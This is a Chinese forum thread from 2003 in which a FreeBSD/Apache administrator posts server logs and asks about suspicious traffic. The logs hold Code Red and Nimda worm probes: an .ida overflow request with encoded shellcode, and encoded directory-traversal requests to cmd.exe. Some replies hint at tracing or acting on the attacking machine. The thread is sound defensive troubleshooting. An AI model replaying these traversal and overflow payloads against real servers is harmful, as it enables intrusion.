請(qǐng)前輩們幫忙看看，是不是有人在攻擊我？

雪之女

我的系統(tǒng)是freebsd ,web server是 apache \r\n我的服務(wù)器設(shè)置好后，還沒(méi)有對(duì)外宣傳，可是，網(wǎng)絡(luò)連接的指示燈在不停的閃動(dòng)，察看了一下日志文件，有許多不正常的記錄，大家請(qǐng)看看，這些舉動(dòng)是什么意思，有什么危害？我應(yīng)該怎樣處理呢？ \r\n以下是apache的log文件 access_log中的記錄 \r\n218.2.11.100 - - [19/Apr/2003:12:44:50 +0800] \"GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0\" 404 330 \r\n218.7.78.151 - - [19/Apr/2003:12:24:07 +0800] \"GET /scripts/root.exe?/c+dir HTTP/1.0\" 404 335 \r\n218.7.78.151 - - [19/Apr/2003:12:24:07 +0800] \"GET /MSADC/root.exe?/c+dir HTTP/1.0\" 404 333 \r\n218.7.78.151 - - [19/Apr/2003:12:24:07 +0800] \"GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0\" 404 343 \r\n218.7.78.151 - - [19/Apr/2003:12:24:07 +0800] \"GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0\" 404 343 \r\n218.7.78.151 - - [19/Apr/2003:12:24:07 +0800] \"GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\" 404 357 \r\n218.7.78.151 - - [19/Apr/2003:12:24:11 +0800] \"GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\" 404 374 \r\n218.7.78.151 - - [19/Apr/2003:12:24:11 +0800] \"GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\" 404 374 \r\n218.7.78.151 - - [19/Apr/2003:12:24:11 +0800] \"GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\" 404 390 \r\n218.7.78.151 - - [19/Apr/2003:12:24:11 +0800] \"GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\" 404 356 \r\n218.7.78.151 - - [19/Apr/2003:12:24:12 +0800] \"GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0\" 404 356 \r\n218.7.78.151 - - [19/Apr/2003:12:24:15 +0800] \"GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0\" 404 356 \r\n218.7.78.151 - - [19/Apr/2003:12:24:17 +0800] \"GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\" 404 356 \r\n218.7.78.151 - - [19/Apr/2003:12:24:18 +0800] \"GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0\" 400 340 \r\n218.7.78.151 - - [19/Apr/2003:12:24:18 +0800] \"GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0\" 400 340 \r\n218.7.78.151 - - [19/Apr/2003:12:24:21 +0800] \"GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0\" 404 357 \r\n218.7.78.151 - - [19/Apr/2003:12:24:24 +0800] \"GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0\" 404 357 \r\n以上我只是摘錄了一小段，像上面的提示日志文件中不計(jì)其數(shù)，一個(gè)星期的日志文件就有了2兆多，而且?guī)缀跞�是上面的記錄�?\r\n我應(yīng)該怎樣應(yīng)付呢？ \r\n另外：我還應(yīng)該看哪些日志文件呢？ \r\n有沒(méi)有什么專(zhuān)門(mén)的工具來(lái)分析這件日志文件呢?（分析攻擊行為的） \r\n謝謝前輩們的幫助！

qintel

是中了病毒的機(jī)子試圖在感染你的機(jī)子，不過(guò)是WIN下的病毒，你不用怕，把這個(gè)IP屏了算了。

弱智

如果是Nimda，手工清除：\r\n\r\nhttp://www.duba.net/press/duba_reports/2001/09/19/10007.htm

瀟湘夜雨

雪之女    \r\n\r\n\r\n\r\n\r\n級(jí)別: 圣騎士\r\n注冊(cè)時(shí)間: 2003-03-01\r\n帖子: 145\r\n\r\n 發(fā)表于: 2003-04-19 14:02    發(fā)表主題: 請(qǐng)前輩們幫忙看看，是不是有人在攻擊我？   \r\n\r\n--------------------------------------------------------------------------------\r\n \r\n我的系統(tǒng)是freebsd ,web server是 apache \r\n我的服務(wù)器設(shè)置好后，還沒(méi)有對(duì)外宣傳，可是，網(wǎng)絡(luò)連接的指示燈在不停的閃動(dòng)，察看了一下日志文件，有許多不正常的記錄，大家請(qǐng)看看，這些舉動(dòng)是什么意思，有什么危害？我應(yīng)該怎樣處理呢？ \r\n以下是apache的log文件 access_log中的記錄 \r\n \r\n 如你上邊所說(shuō).系統(tǒng)剛剛安裝后就有這樣的情況出現(xiàn).夜雨懷疑你安裝光盤(pán)上是否有DU.\r\n GET /scripts/root.exe?/c+dir HTTP/1.0\" 404 335 \r\n GET /MSADC/root.exe?/c+dir HTTP/1.0\" 404 333 \r\n GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0\" 404 343 \r\n GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0\" 404 343 \r\n 從這四個(gè)語(yǔ)句上判斷應(yīng)該是蠕蟲(chóng)它首先搜尋關(guān)于ROOT得相關(guān)文件(scripts/root.exe?/)然后返回信息.應(yīng)該明白了吧!!\r\n 不要吧屏蔽掉.關(guān)掉蠕蟲(chóng)打開(kāi)的后門(mén).另外建議你,反追蹤這個(gè)IP地址!~!!

windtalkers

從這句GET /scripts/root.exe?/c+dir看應(yīng)該是CodeRed吧，找到那個(gè)IP干掉那臺(tái)機(jī)器上的病毒\r\n\r\n樓上的老大，頭像能小點(diǎn)嗎？看起來(lái)太麻煩了